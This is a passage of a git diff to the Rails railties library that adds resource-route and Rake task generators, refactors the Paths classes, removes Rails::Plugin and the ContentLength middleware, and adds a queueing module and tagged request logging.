- route_config << " end" * regular_class_path.size
- route route_config
- end
+ hook_for :resource_route, :required => true
end
end
end
diff --git a/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
new file mode 100644
index 0000000000..6a5d62803c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb
@@ -0,0 +1,13 @@
+module Rails
+ module Generators
+ class ResourceRouteGenerator < NamedBase
+ def add_resource_route
+ return if options[:actions].present?
+ route_config = regular_class_path.collect{ |namespace| "namespace :#{namespace} do " }.join(" ")
+ route_config << "resources :#{file_name.pluralize}"
+ route_config << " end" * regular_class_path.size
+ route route_config
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/scaffold/USAGE b/railties/lib/rails/generators/rails/scaffold/USAGE
index be1d113ed8..4a3eb2c7c7 100644
--- a/railties/lib/rails/generators/rails/scaffold/USAGE
+++ b/railties/lib/rails/generators/rails/scaffold/USAGE
@@ -7,23 +7,29 @@ Description:
under_scored, as the first argument, and an optional list of attribute
pairs.
- Attribute pairs are field:type arguments specifying the
- model's attributes. Timestamps are added by default, so you don't have to
- specify them by hand as 'created_at:datetime updated_at:datetime'.
+ Attributes are field arguments specifying the model's attributes. You can
+ optionally pass the type and an index to each field. For instance:
+ "title body:text tracking_id:integer:uniq" will generate a title field of
+ string type, a body with text type and a tracking_id as an integer with an
+ unique index. "index" could also be given instead of "uniq" if one desires
+ a non unique index.
+
+ Timestamps are added by default, so you don't have to specify them by hand
+ as 'created_at:datetime updated_at:datetime'.
You don't have to think up every attribute up front, but it helps to
sketch out a few so you can start working with the resource immediately.
- For example, 'scaffold post title:string body:text published:boolean'
- gives you a model with those three attributes, a controller that handles
+ For example, 'scaffold post title body:text published:boolean' gives
+ you a model with those three attributes, a controller that handles
the create/show/update/destroy, forms to create and edit your posts, and
- an index that lists them all, as well as a resources :posts
- declaration in config/routes.rb.
+ an index that lists them all, as well as a resources :posts declaration
+ in config/routes.rb.
If you want to remove all the generated files, run
'rails destroy scaffold ModelName'.
Examples:
`rails generate scaffold post`
- `rails generate scaffold post title:string body:text published:boolean`
- `rails generate scaffold purchase order_id:integer amount:decimal`
+ `rails generate scaffold post title body:text published:boolean`
+ `rails generate scaffold purchase amount:decimal tracking_id:integer:uniq`
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
index 2271c6f9c1..0618b16984 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb
@@ -11,7 +11,7 @@ module Rails
:desc => "ORM to generate the controller for"
def create_controller_files
- template 'controller.rb', File.join('app/controllers', class_path, "#{controller_file_name}_controller.rb")
+ template "controller.rb", File.join('app/controllers', class_path, "#{controller_file_name}_controller.rb")
end
hook_for :template_engine, :test_framework, :as => :scaffold
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
index 32b961d9fc..b95aea5f19 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
@@ -7,7 +7,7 @@ class <%= controller_class_name %>Controller < ApplicationController
respond_to do |format|
format.html # index.html.erb
- format.json { render <%= key_value :json, "@#{plural_table_name}" %> }
+ format.json { render json: <%= "@#{plural_table_name}" %> }
end
end
@@ -18,7 +18,7 @@ class <%= controller_class_name %>Controller < ApplicationController
respond_to do |format|
format.html # show.html.erb
- format.json { render <%= key_value :json, "@#{singular_table_name}" %> }
+ format.json { render json: <%= "@#{singular_table_name}" %> }
end
end
@@ -29,7 +29,7 @@ class <%= controller_class_name %>Controller < ApplicationController
respond_to do |format|
format.html # new.html.erb
- format.json { render <%= key_value :json, "@#{singular_table_name}" %> }
+ format.json { render json: <%= "@#{singular_table_name}" %> }
end
end
@@ -45,27 +45,27 @@ class <%= controller_class_name %>Controller < ApplicationController
respond_to do |format|
if @<%= orm_instance.save %>
- format.html { redirect_to @<%= singular_table_name %>, <%= key_value :notice, "'#{human_name} was successfully created.'" %> }
- format.json { render <%= key_value :json, "@#{singular_table_name}" %>, <%= key_value :status, ':created' %>, <%= key_value :location, "@#{singular_table_name}" %> }
+ format.html { redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully created.'" %> }
+ format.json { render json: <%= "@#{singular_table_name}" %>, status: :created, location: <%= "@#{singular_table_name}" %> }
else
- format.html { render <%= key_value :action, '"new"' %> }
- format.json { render <%= key_value :json, "@#{orm_instance.errors}" %>, <%= key_value :status, ':unprocessable_entity' %> }
+ format.html { render action: "new" }
+ format.json { render json: <%= "@#{orm_instance.errors}" %>, status: :unprocessable_entity }
end
end
end
- # PUT <%= route_url %>/1
- # PUT <%= route_url %>/1.json
+ # PATCH/PUT <%= route_url %>/1
+ # PATCH/PUT <%= route_url %>/1.json
def update
@<%= singular_table_name %> = <%= orm_class.find(class_name, "params[:id]") %>
respond_to do |format|
if @<%= orm_instance.update_attributes("params[:#{singular_table_name}]") %>
- format.html { redirect_to @<%= singular_table_name %>, <%= key_value :notice, "'#{human_name} was successfully updated.'" %> }
- format.json { head :ok }
+ format.html { redirect_to @<%= singular_table_name %>, notice: <%= "'#{human_name} was successfully updated.'" %> }
+ format.json { head :no_content }
else
- format.html { render <%= key_value :action, '"edit"' %> }
- format.json { render <%= key_value :json, "@#{orm_instance.errors}" %>, <%= key_value :status, ':unprocessable_entity' %> }
+ format.html { render action: "edit" }
+ format.json { render json: <%= "@#{orm_instance.errors}" %>, status: :unprocessable_entity }
end
end
end
@@ -78,7 +78,7 @@ class <%= controller_class_name %>Controller < ApplicationController
respond_to do |format|
format.html { redirect_to <%= index_helper %>_url }
- format.json { head :ok }
+ format.json { head :no_content }
end
end
end
diff --git a/railties/lib/rails/generators/rails/task/USAGE b/railties/lib/rails/generators/rails/task/USAGE
new file mode 100644
index 0000000000..dbe9bbaf08
--- /dev/null
+++ b/railties/lib/rails/generators/rails/task/USAGE
@@ -0,0 +1,9 @@
+Description:
+ Stubs out a new Rake task. Pass the namespace name, and a list of tasks as arguments.
+
+ This generates a task file in lib/tasks.
+
+Example:
+ `rails generate task feeds fetch erase add`
+
+ Task: lib/tasks/feeds.rake \ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/task/task_generator.rb b/railties/lib/rails/generators/rails/task/task_generator.rb
new file mode 100644
index 0000000000..8a62d9e8eb
--- /dev/null
+++ b/railties/lib/rails/generators/rails/task/task_generator.rb
@@ -0,0 +1,12 @@
+module Rails
+ module Generators
+ class TaskGenerator < NamedBase
+ argument :actions, :type => :array, :default => [], :banner => "action action"
+
+ def create_task_files
+ template 'task.rb', File.join('lib/tasks', "#{file_name}.rake")
+ end
+
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/task/templates/task.rb b/railties/lib/rails/generators/rails/task/templates/task.rb
new file mode 100644
index 0000000000..b7407bd6dc
--- /dev/null
+++ b/railties/lib/rails/generators/rails/task/templates/task.rb
@@ -0,0 +1,8 @@
+namespace :<%= file_name %> do
+<% actions.each do |action| -%>
+ desc "TODO"
+ task :<%= action %> => :environment do
+ end
+
+<% end -%>
+end
diff --git a/railties/lib/rails/generators/resource_helpers.rb b/railties/lib/rails/generators/resource_helpers.rb
index b34bc4a524..48833869e5 100644
--- a/railties/lib/rails/generators/resource_helpers.rb
+++ b/railties/lib/rails/generators/resource_helpers.rb
@@ -50,7 +50,7 @@ module Rails
end
def controller_i18n_scope
- @controller_i18n_scope ||= controller_file_path.gsub('/', '.')
+ @controller_i18n_scope ||= controller_file_path.tr('/', '.')
end
# Loads the ORM::Generators::ActiveModel class. This class is responsible
@@ -64,7 +64,7 @@ module Rails
end
begin
- "#{options[:orm].to_s.classify}::Generators::ActiveModel".constantize
+ "#{options[:orm].to_s.camelize}::Generators::ActiveModel".constantize
rescue NameError
Rails::Generators::ActiveModel
end
@@ -73,7 +73,7 @@ module Rails
# Initialize ORM::Generators::ActiveModel to access instance methods.
def orm_instance(name=singular_table_name)
- @orm_instance ||= @orm_class.new(name)
+ @orm_instance ||= orm_class.new(name)
end
end
end
diff --git a/railties/lib/rails/generators/test_case.rb b/railties/lib/rails/generators/test_case.rb
index 7319fb79f6..ff9cf0087e 100644
--- a/railties/lib/rails/generators/test_case.rb
+++ b/railties/lib/rails/generators/test_case.rb
@@ -31,7 +31,6 @@ module Rails
include FileUtils
class_attribute :destination_root, :current_path, :generator_class, :default_arguments
- delegate :destination_root, :current_path, :generator_class, :default_arguments, :to => :'self.class'
# Generators frequently change the current path using +FileUtils.cd+.
# So we need to store the path at file load and revert back to it after each test.
@@ -79,8 +78,8 @@ module Rails
#
# Finally, when a block is given, it yields the file content:
#
- # assert_file "app/controller/products_controller.rb" do |controller|
- # assert_instance_method :index, content do |index|
+ # assert_file "app/controllers/products_controller.rb" do |controller|
+ # assert_instance_method :index, controller do |index|
# assert_match(/Product\.all/, index)
# end
# end
@@ -135,7 +134,7 @@ module Rails
# Asserts a given migration does not exist. You need to supply an absolute path or a
# path relative to the configured destination:
#
- # assert_no_file "config/random.rb"
+ # assert_no_migration "db/migrate/create_products.rb"
#
def assert_no_migration(relative)
file_name = migration_file_name(relative)
@@ -159,8 +158,8 @@ module Rails
# Asserts the given method exists in the given content. When a block is given,
# it yields the content of the method.
#
- # assert_file "app/controller/products_controller.rb" do |controller|
- # assert_instance_method :index, content do |index|
+ # assert_file "app/controllers/products_controller.rb" do |controller|
+ # assert_instance_method :index, controller do |index|
# assert_match(/Product\.all/, index)
# end
# end
@@ -182,7 +181,7 @@ module Rails
# Asserts the given attribute type gets a proper default value:
#
- # assert_field_type :string, "MyString"
+ # assert_field_default_value :string, "MyString"
#
def assert_field_default_value(attribute_type, value)
assert_equal(value, create_generated_attribute(attribute_type).default)
@@ -218,8 +217,8 @@ module Rails
#
# create_generated_attribute(:string, 'name')
#
- def create_generated_attribute(attribute_type, name = 'test')
- Rails::Generators::GeneratedAttribute.new(name, attribute_type.to_s)
+ def create_generated_attribute(attribute_type, name = 'test', index = nil)
+ Rails::Generators::GeneratedAttribute.parse([name, attribute_type, index].compact.join(':'))
end
protected
diff --git a/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb b/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb
index d296b26b16..370750a175 100644
--- a/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb
+++ b/railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb
@@ -3,7 +3,7 @@ require 'rails/performance_test_help'
class <%= class_name %>Test < ActionDispatch::PerformanceTest
# Refer to the documentation for all available options
- # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory]
+ # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory],
# :output => 'tmp/performance', :formats => [:flat] }
def test_homepage
diff --git a/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb b/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
index 2ca36a1e44..c9af2ca832 100644
--- a/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
+++ b/railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb
@@ -1,3 +1,2 @@
-require 'rubygems'
-require 'test/unit'
+require 'minitest/autorun'
require 'active_support'
diff --git a/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
index f7e907a017..ca7fee3b6e 100644
--- a/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
+++ b/railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb
@@ -8,10 +8,27 @@ module TestUnit
check_class_collision :suffix => "ControllerTest"
+ argument :attributes, :type => :array, :default => [], :banner => "field:type field:type"
+
def create_test_files
- template 'functional_test.rb',
- File.join('test/functional', controller_class_path, "#{controller_file_name}_controller_test.rb")
+ template "functional_test.rb",
+ File.join("test/functional", controller_class_path, "#{controller_file_name}_controller_test.rb")
end
+
+ private
+
+ def attributes_hash
+ return if accessible_attributes.empty?
+
+ accessible_attributes.map do |a|
+ name = a.name
+ "#{name}: @#{singular_table_name}.#{name}"
+ end.sort.join(', ')
+ end
+
+ def accessible_attributes
+ attributes.reject(&:reference?)
+ end
end
end
end
diff --git a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
index 01fe6dda7a..30e1650555 100644
--- a/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
+++ b/railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb
@@ -19,30 +19,30 @@ class <%= controller_class_name %>ControllerTest < ActionController::TestCase
test "should create <%= singular_table_name %>" do
assert_difference('<%= class_name %>.count') do
- post :create, <%= key_value singular_table_name, "@#{singular_table_name}.attributes" %>
+ post :create, <%= "#{singular_table_name}: { #{attributes_hash} }" %>
end
assert_redirected_to <%= singular_table_name %>_path(assigns(:<%= singular_table_name %>))
end
test "should show <%= singular_table_name %>" do
- get :show, <%= key_value :id, "@#{singular_table_name}.to_param" %>
+ get :show, id: <%= "@#{singular_table_name}" %>
assert_response :success
end
test "should get edit" do
- get :edit, <%= key_value :id, "@#{singular_table_name}.to_param" %>
+ get :edit, id: <%= "@#{singular_table_name}" %>
assert_response :success
end
test "should update <%= singular_table_name %>" do
- put :update, <%= key_value :id, "@#{singular_table_name}.to_param" %>, <%= key_value singular_table_name, "@#{singular_table_name}.attributes" %>
+ put :update, id: <%= "@#{singular_table_name}" %>, <%= "#{singular_table_name}: { #{attributes_hash} }" %>
assert_redirected_to <%= singular_table_name %>_path(assigns(:<%= singular_table_name %>))
end
test "should destroy <%= singular_table_name %>" do
assert_difference('<%= class_name %>.count', -1) do
- delete :destroy, <%= key_value :id, "@#{singular_table_name}.to_param" %>
+ delete :destroy, id: <%= "@#{singular_table_name}" %>
end
assert_redirected_to <%= index_helper %>_path
diff --git a/railties/lib/rails/info.rb b/railties/lib/rails/info.rb
index a1e15092b2..aacc1be2fc 100644
--- a/railties/lib/rails/info.rb
+++ b/railties/lib/rails/info.rb
@@ -23,7 +23,7 @@ module Rails
end
def frameworks
- %w( active_record action_pack active_resource action_mailer active_support )
+ %w( active_record action_pack action_mailer active_support )
end
def framework_version(framework)
@@ -83,7 +83,7 @@ module Rails
end
# Versions of each Rails framework (Active Record, Action Pack,
- # Active Resource, Action Mailer, and Active Support).
+ # Action Mailer, and Active Support).
frameworks.each do |framework|
property "#{framework.titlecase} version" do
framework_version(framework)
diff --git a/railties/lib/rails/initializable.rb b/railties/lib/rails/initializable.rb
index 04d5b55c69..a61673fab8 100644
--- a/railties/lib/rails/initializable.rb
+++ b/railties/lib/rails/initializable.rb
@@ -51,7 +51,7 @@ module Rails
def run_initializers(group=:default, *args)
return if instance_variable_defined?(:@ran)
- initializers.tsort.each do |initializer|
+ initializers.tsort_each do |initializer|
initializer.run(*args) if initializer.belongs_to?(group)
end
@ran = true
diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb
index b37421c09c..b787d91821 100644
--- a/railties/lib/rails/paths.rb
+++ b/railties/lib/rails/paths.rb
@@ -1,4 +1,4 @@
-require 'set'
+require "pathname"
module Rails
module Paths
@@ -10,19 +10,19 @@ module Rails
# root.add "app/controllers", :eager_load => true
#
# The command above creates a new root object and add "app/controllers" as a path.
- # This means we can get a +Rails::Paths::Path+ object back like below:
+ # This means we can get a <tt>Rails::Paths::Path</tt> object back like below:
#
# path = root["app/controllers"]
# path.eager_load? # => true
# path.is_a?(Rails::Paths::Path) # => true
#
- # The +Path+ object is simply an array and allows you to easily add extra paths:
+ # The +Path+ object is simply an enumerable and allows you to easily add extra paths:
#
- # path.is_a?(Array) # => true
- # path.inspect # => ["app/controllers"]
+ # path.is_a?(Enumerable) # => true
+ # path.to_ary.inspect # => ["app/controllers"]
#
# path << "lib/controllers"
- # path.inspect # => ["app/controllers", "lib/controllers"]
+ # path.to_ary.inspect # => ["app/controllers", "lib/controllers"]
#
# Notice that when you add a path using +add+, the path object created already
# contains the path with the same path value given to +add+. In some situations,
@@ -43,25 +43,38 @@ module Rails
# root["app/controllers"].existent # => ["/rails/app/controllers"]
#
# Check the <tt>Rails::Paths::Path</tt> documentation for more information.
- class Root < ::Hash
+ class Root
attr_accessor :path
def initialize(path)
- raise "Argument should be a String of the physical root path" if path.is_a?(Array)
@current = nil
@path = path
- @root = self
- super()
+ @root = {}
end
def []=(path, value)
- value = Path.new(self, path, value) unless value.is_a?(Path)
- super(path, value)
+ add(path, :with => value)
end
def add(path, options={})
with = options[:with] || path
- self[path] = Path.new(self, path, with, options)
+ @root[path] = Path.new(self, path, [with].flatten, options)
+ end
+
+ def [](path)
+ @root[path]
+ end
+
+ def values
+ @root.values
+ end
+
+ def keys
+ @root.keys
+ end
+
+ def values_at(*list)
+ @root.values_at(*list)
end
def all_paths
@@ -100,14 +113,14 @@ module Rails
end
end
- class Path < Array
- attr_reader :path
- attr_accessor :glob
+ class Path
+ include Enumerable
- def initialize(root, current, *paths)
- options = paths.last.is_a?(::Hash) ? paths.pop : {}
- super(paths.flatten)
+ attr_reader :path, :root
+ attr_accessor :glob
+ def initialize(root, current, paths, options = {})
+ @paths = paths
@current = current
@root = root
@glob = options[:glob]
@@ -148,6 +161,35 @@ module Rails
RUBY
end
+ def each(&block)
+ @paths.each(&block)
+ end
+
+ def <<(path)
+ @paths << path
+ end
+ alias :push :<<
+
+ def concat(paths)
+ @paths.concat paths
+ end
+
+ def unshift(path)
+ @paths.unshift path
+ end
+
+ def to_ary
+ @paths
+ end
+
+ def paths
+ raise "You need to set a path root" unless @root.path
+
+ map do |p|
+ Pathname.new(@root.path).join(p)
+ end
+ end
+
# Expands all paths against the root and return all unique values.
def expanded
raise "You need to set a path root" unless @root.path
@@ -156,8 +198,10 @@ module Rails
each do |p|
path = File.expand_path(p, @root.path)
- if @glob
- result.concat Dir[File.join(path, @glob)].sort
+ if @glob && File.directory?(path)
+ result.concat Dir.chdir(path) {
+ Dir.glob(@glob).map { |file| File.join path, file }.sort
+ }
else
result << path
end
diff --git a/railties/lib/rails/performance_test_help.rb b/railties/lib/rails/performance_test_help.rb
index 4ac38981d0..b1285efde2 100644
--- a/railties/lib/rails/performance_test_help.rb
+++ b/railties/lib/rails/performance_test_help.rb
@@ -1,3 +1,3 @@
ActionController::Base.perform_caching = true
ActiveSupport::Dependencies.mechanism = :require
-Rails.logger.level = ActiveSupport::BufferedLogger::INFO
+Rails.logger.level = ActiveSupport::Logger::INFO
diff --git a/railties/lib/rails/plugin.rb b/railties/lib/rails/plugin.rb
deleted file mode 100644
index 3e27688bb9..0000000000
--- a/railties/lib/rails/plugin.rb
+++ /dev/null
@@ -1,91 +0,0 @@
-require 'rails/engine'
-require 'active_support/core_ext/array/conversions'
-
-module Rails
- # Rails::Plugin is nothing more than a Rails::Engine, but since it's loaded too late
- # in the boot process, it does not have the same configuration powers as a bare
- # Rails::Engine.
- #
- # Opposite to Rails::Railtie and Rails::Engine, you are not supposed to inherit from
- # Rails::Plugin. Rails::Plugin is automatically configured to be an engine by simply
- # placing inside vendor/plugins. Since this is done automatically, you actually cannot
- # declare a Rails::Engine inside your Plugin, otherwise it would cause the same files
- # to be loaded twice. This means that if you want to ship an Engine as gem it cannot
- # be used as plugin and vice-versa.
- #
- # Besides this conceptual difference, the only difference between Rails::Engine and
- # Rails::Plugin is that plugins automatically load the file "init.rb" at the plugin
- # root during the boot process.
- #
- class Plugin < Engine
- def self.global_plugins
- @global_plugins ||= []
- end
-
- def self.inherited(base)
- raise "You cannot inherit from Rails::Plugin"
- end
-
- def self.all(list, paths)
- plugins = []
- paths.each do |path|
- Dir["#{path}/*"].each do |plugin_path|
- plugin = new(plugin_path)
- next unless list.include?(plugin.name) || list.include?(:all)
- if global_plugins.include?(plugin.name)
- warn "WARNING: plugin #{plugin.name} from #{path} was not loaded. Plugin with the same name has been already loaded."
- next
- end
- global_plugins << plugin.name
- plugins << plugin
- end
- end
-
- plugins.sort_by do |p|
- [list.index(p.name) || list.index(:all), p.name.to_s]
- end
- end
-
- attr_reader :name, :path
-
- def railtie_name
- name.to_s
- end
-
- def initialize(root)
- @name = File.basename(root).to_sym
- config.root = root
- end
-
- def config
- @config ||= Engine::Configuration.new
- end
-
- initializer :handle_lib_autoload, :before => :set_load_path do |app|
- autoload = if app.config.reload_plugins
- config.autoload_paths
- else
- config.autoload_once_paths
- end
-
- autoload.concat paths["lib"].existent
- end
-
- initializer :load_init_rb, :before => :load_config_initializers do |app|
- init_rb = File.expand_path("init.rb", root)
- if File.file?(init_rb)
- # This double assignment is to prevent an "unused variable" warning on Ruby 1.9.3.
- config = config = app.config
- # TODO: think about evaling initrb in context of Engine (currently it's
- # always evaled in context of Rails::Application)
- eval(File.read(init_rb), binding, init_rb)
- end
- end
-
- initializer :sanity_check_railties_collision do
- if Engine.subclasses.map { |k| k.root.to_s }.include?(root.to_s)
- raise "\"#{name}\" is a Railtie/Engine and cannot be installed as a plugin"
- end
- end
- end
-end
diff --git a/railties/lib/rails/queueing.rb b/railties/lib/rails/queueing.rb
new file mode 100644
index 0000000000..b4bc7fcd18
--- /dev/null
+++ b/railties/lib/rails/queueing.rb
@@ -0,0 +1,73 @@
+require "thread"
+
+module Rails
+ module Queueing
+ # A Queue that simply inherits from STDLIB's Queue. Everytime this
+ # queue is used, Rails automatically sets up a ThreadedConsumer
+ # to consume it.
+ class Queue < ::Queue
+ end
+
+ # In test mode, the Rails queue is backed by an Array so that assertions
+ # can be made about its contents. The test queue provides a +jobs+
+ # method to make assertions about the queue's contents and a +drain+
+ # method to drain the queue and run the jobs.
+ #
+ # Jobs are run in a separate thread to catch mistakes where code
+ # assumes that the job is run in the same thread.
+ class TestQueue < ::Queue
+ # Get a list of the jobs off this queue. This method may not be
+ # available on production queues.
+ def jobs
+ @que.dup
+ end
+
+ # Drain the queue, running all jobs in a different thread. This method
+ # may not be available on production queues.
+ def drain
+ # run the jobs in a separate thread so assumptions of synchronous
+ # jobs are caught in test mode.
+ Thread.new { pop.run until empty? }.join
+ end
+ end
+
+ # The threaded consumer will run jobs in a background thread in
+ # development mode or in a VM where running jobs on a thread in
+ # production mode makes sense.
+ #
+ # When the process exits, the consumer pushes a nil onto the
+ # queue and joins the thread, which will ensure that all jobs
+ # are executed before the process finally dies.
+ class ThreadedConsumer
+ def self.start(queue)
+ new(queue).start
+ end
+
+ def initialize(queue)
+ @queue = queue
+ end
+
+ def start
+ @thread = Thread.new do
+ while job = @queue.pop
+ begin
+ job.run
+ rescue Exception => e
+ handle_exception e
+ end
+ end
+ end
+ self
+ end
+
+ def shutdown
+ @queue.push nil
+ @thread.join
+ end
+
+ def handle_exception(e)
+ Rails.logger.error "Job Error: #{e.message}\n#{e.backtrace.join("\n")}"
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/rack.rb b/railties/lib/rails/rack.rb
index d4a41b217e..d1ee96f7fd 100644
--- a/railties/lib/rails/rack.rb
+++ b/railties/lib/rails/rack.rb
@@ -1,6 +1,5 @@
module Rails
module Rack
- autoload :ContentLength, "rails/rack/content_length"
autoload :Debugger, "rails/rack/debugger"
autoload :Logger, "rails/rack/logger"
autoload :LogTailer, "rails/rack/log_tailer"
diff --git a/railties/lib/rails/rack/content_length.rb b/railties/lib/rails/rack/content_length.rb
deleted file mode 100644
index 6839af4152..0000000000
--- a/railties/lib/rails/rack/content_length.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-require 'action_dispatch'
-require 'rack/utils'
-
-module Rails
- module Rack
- # Sets the Content-Length header on responses with fixed-length bodies.
- class ContentLength
- include ::Rack::Utils
-
- def initialize(app, sendfile=nil)
- @app = app
- @sendfile = sendfile
- end
-
- def call(env)
- status, headers, body = @app.call(env)
- headers = HeaderHash.new(headers)
-
- if !STATUS_WITH_NO_ENTITY_BODY.include?(status.to_i) &&
- !headers['Content-Length'] &&
- !headers['Transfer-Encoding'] &&
- !(@sendfile && headers[@sendfile])
-
- old_body = body
- body, length = [], 0
- old_body.each do |part|
- body << part
- length += bytesize(part)
- end
- old_body.close if old_body.respond_to?(:close)
- headers['Content-Length'] = length.to_s
- end
-
- [status, headers, body]
- end
- end
- end
-end \ No newline at end of file
diff --git a/railties/lib/rails/rack/debugger.rb b/railties/lib/rails/rack/debugger.rb
index 831188eeee..902361ce77 100644
--- a/railties/lib/rails/rack/debugger.rb
+++ b/railties/lib/rails/rack/debugger.rb
@@ -6,13 +6,13 @@ module Rails
ARGV.clear # clear ARGV so that rails server options aren't passed to IRB
- require 'ruby-debug'
+ require 'debugger'
::Debugger.start
::Debugger.settings[:autoeval] = true if ::Debugger.respond_to?(:settings)
puts "=> Debugger enabled"
rescue LoadError
- puts "You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'"
+ puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle, and try again."
exit
end
diff --git a/railties/lib/rails/rack/log_tailer.rb b/railties/lib/rails/rack/log_tailer.rb
index 830d840894..18f22e8089 100644
--- a/railties/lib/rails/rack/log_tailer.rb
+++ b/railties/lib/rails/rack/log_tailer.rb
@@ -4,10 +4,13 @@ module Rails
def initialize(app, log = nil)
@app = app
- path = Pathname.new(log || "#{File.expand_path(Rails.root)}/log/#{Rails.env}.log").cleanpath
- @cursor = ::File.size(path)
+ path = Pathname.new(log || "#{::File.expand_path(Rails.root)}/log/#{Rails.env}.log").cleanpath
- @file = ::File.open(path, 'r')
+ @cursor = @file = nil
+ if ::File.exists?(path)
+ @cursor = ::File.size(path)
+ @file = ::File.open(path, 'r')
+ end
end
def call(env)
@@ -17,6 +20,7 @@ module Rails
end
def tail!
+ return unless @cursor
@file.seek @cursor
unless @file.eof?
diff --git a/railties/lib/rails/rack/logger.rb b/railties/lib/rails/rack/logger.rb
index 3be262de08..89de10c83d 100644
--- a/railties/lib/rails/rack/logger.rb
+++ b/railties/lib/rails/rack/logger.rb
@@ -1,32 +1,46 @@
require 'active_support/core_ext/time/conversions'
+require 'active_support/core_ext/object/blank'
module Rails
module Rack
# Log the request started and flush all loggers after it.
class Logger < ActiveSupport::LogSubscriber
- def initialize(app)
- @app = app
+ def initialize(app, tags=nil)
+ @app, @tags = app, tags.presence
end
def call(env)
- before_dispatch(env)
- @app.call(env)
- ensure
- after_dispatch(env)
+ if @tags
+ Rails.logger.tagged(compute_tags(env)) { call_app(env) }
+ else
+ call_app(env)
+ end
end
protected
- def before_dispatch(env)
+ def call_app(env)
request = ActionDispatch::Request.new(env)
path = request.filtered_path
-
- info "\n\nStarted #{request.request_method} \"#{path}\" " \
- "for #{request.ip} at #{Time.now.to_default_s}"
+ Rails.logger.info "\n\nStarted #{request.request_method} \"#{path}\" for #{request.ip} at #{Time.now.to_default_s}"
+ @app.call(env)
+ ensure
+ ActiveSupport::LogSubscriber.flush_all!
end
- def after_dispatch(env)
- ActiveSupport::LogSubscriber.flush_all!
+ def compute_tags(env)
+ request = ActionDispatch::Request.new(env)
+
+ @tags.collect do |tag|
+ case tag
+ when Proc
+ tag.call(request)
+ when Symbol
+ request.send(tag)
+ else
+ tag
+ end
+ end
end
end
end
diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb
index e8fb1f3d98..2102f8a03c 100644
--- a/railties/lib/rails/railtie.rb
+++ b/railties/lib/rails/railtie.rb
@@ -9,7 +9,7 @@ module Rails
# Rails and/or modify the initialization process.
#
# Every major component of Rails (Action Mailer, Action Controller,
- # Action View, Active Record and Active Resource) is a Railtie. Each of
+ # Action View and Active Record) is a Railtie. Each of
# them is responsible for their own initialization. This makes Rails itself
# absent of any component hooks, allowing other components to be used in
# place of any of the Rails defaults.
@@ -22,7 +22,7 @@ module Rails
#
# * creating initializers
# * configuring a Rails framework for the application, like setting a generator
- # * adding config.* keys to the environment
+ # * +adding config.*+ keys to the environment
# * setting up a subscriber with ActiveSupport::Notifications
# * adding rake tasks
#
@@ -103,11 +103,11 @@ module Rails
# end
# end
#
- # == Application, Plugin and Engine
+ # == Application and Engine
#
# A Rails::Engine is nothing more than a Railtie with some initializers already set.
- # And since Rails::Application and Rails::Plugin are engines, the same configuration
- # described here can be used in all three.
+ # And since Rails::Application is an engine, the same configuration described here
+ # can be used in both.
#
# Be sure to look at the documentation of those specific classes for more information.
#
@@ -117,7 +117,7 @@ module Rails
include Initializable
- ABSTRACT_RAILTIES = %w(Rails::Railtie Rails::Plugin Rails::Engine Rails::Application)
+ ABSTRACT_RAILTIES = %w(Rails::Railtie Rails::Engine Rails::Application)
class << self
private :new
@@ -162,7 +162,7 @@ module Rails
protected
def generate_railtie_name(class_or_module)
- ActiveSupport::Inflector.underscore(class_or_module).gsub("/", "_")
+ ActiveSupport::Inflector.underscore(class_or_module).tr("/", "_")
end
end
@@ -181,7 +181,7 @@ module Rails
def load_tasks(app=self)
extend Rake::DSL if defined? Rake::DSL
- self.class.rake_tasks.each { |block| block.call(app) }
+ self.class.rake_tasks.each { |block| self.instance_exec(app, &block) }
# load also tasks from all superclasses
klass = self.class.superclass
@@ -196,7 +196,7 @@ module Rails
end
def railtie_namespace
- @railtie_namespace ||= self.class.parents.detect { |n| n.respond_to?(:_railtie) }
+ @railtie_namespace ||= self.class.parents.detect { |n| n.respond_to?(:railtie_namespace) }
end
end
end
diff --git a/railties/lib/rails/railtie/configuration.rb b/railties/lib/rails/railtie/configuration.rb
index f888684117..1c6b3769a5 100644
--- a/railties/lib/rails/railtie/configuration.rb
